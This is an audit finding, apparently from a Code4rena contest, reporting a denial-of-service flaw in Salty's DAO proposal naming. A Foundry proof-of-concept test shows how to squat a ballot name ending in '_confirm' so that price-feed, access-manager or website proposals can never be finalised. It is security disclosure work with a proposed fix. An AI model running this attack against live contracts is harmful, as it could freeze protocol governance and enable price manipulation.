c4-bot-2 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L240-L246 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L219-L228 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L155-L215

Vulnerability details

Summary

The ballotName check in Proposals::_possiblyCreateProposal() can be exploited to DOS proposeSetContractAddress() & proposeWebsiteUpdate() proposals.

Vulnerability Details

Where a ballot, requiring a confirmation vote, is created with a genuine ballotName such as setContract:pricefeed1; a malicious user can create another ballot with ballotName setContract:pricefeed1_confirm.

    function proposeSetContractAddress( string calldata contractName, address newAddress, string calldata description ) external nonReentrant returns (uint256 ballotID)
        {
        // Some Code //

>>>     string memory ballotName = string.concat("setContract:", contractName );

        // Some Code //
        }

This will prevent the initial ballot from being finalized, even if it has gathered enough votes, because a confirmation proposal cannot be created via _finalizeApprovalBallot. Confirmation proposals are created with _confirm appended to the end of the initial ballotName; i.e. setContract:pricefeed1 + _confirm; where it will hit the ballotName check:

require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );

Because there is no way to cancel a proposal; this also blocks any future attempts to update the address for pricefeed1. In the same way, address updates to pricefeed2, pricefeed3 & accessManager can be prevented.

Proposals for updating the website can be blocked in a very similar way by creating an identical proposal using the same newWebsiteURL and appending _confirm which will create a proposal setURL:newWebsiteURL_confirm and block the automatic confirmation proposal creation.

    function proposeWebsiteUpdate( string calldata newWebsiteURL, string calldata description ) external nonReentrant returns (uint256 ballotID)
        {
        // Some Code //

        string memory ballotName = string.concat("setURL:", newWebsiteURL );

        // Some Code //
        }

POC

Add the test function below to DAO.t.sol and run:

```
function test_DOS_SetContract_Proposal() public
    {
    vm.startPrank(alice);

    staking.stakeSALT( 10000000 ether );
    uint256 ballotID = 1;
    proposals.proposeSetContractAddress( "priceFeed1", address(0x1231236 ), "description" );
    assertEq(proposals.ballotForID(ballotID).ballotName, "setContract:priceFeed1");

    assertEq(proposals.ballotForID(ballotID).ballotIsLive, true, "Ballot 1 not created correctly");

    proposals.castVote(ballotID, Vote.YES);

    vm.stopPrank();

    // front-run the finalization and create a proposal which has same appendix as ballotId_1's confirmation proposal
    vm.startPrank(DEPLOYER);

    staking.stakeSALT( 5000000 ether );
    proposals.proposeSetContractAddress( "priceFeed1_confirm", address(0x1231237 ), "description" );
    assertEq(proposals.ballotForID(ballotID).ballotName, "setContract:priceFeed1_confirm");

    assertEq(proposals.ballotForID(2).ballotIsLive, true, "Ballot 2 not created correctly");

    proposals.castVote(ballotID, Vote.YES);

    // Increase block time to finalize the ballot
    vm.warp(block.timestamp + 11 days );

    // Test Parameter Ballot finalization
    vm.expectRevert("Cannot create a proposal similar to a ballot that is still open");
    dao.finalizeBallot(ballotID);

    vm.stopPrank();
    }
```

Impact

If any of the critically important Access Manager or Price Feed contract addresses were to become compromised or otherwise unusable; simply not being able to update them represents a potential systemic collapse of the protocol. Further, given how price aggregation works in the protocol using three sources; if a malicious user is able to ensure one external source remains off, they could potentially manipulate the internal pool feed using large money inflows / outflows such that they gain an advantage.

Tools Used

Manual Review Foundry Testing

Recommendations

Update the logic for naming proposals such that they cannot be mimicked by user entering a string. To solve the problem, an enum could be used as the input parameter, representing the contract the user is proposing to update. The protocol can then map to the correct name so the rest of the logci needn't be updated.

enum ContractTypes { 
    priceFeed1,
    priceFeed2,
    priceFeed3,
    accessManager
}

Assessed type

DoS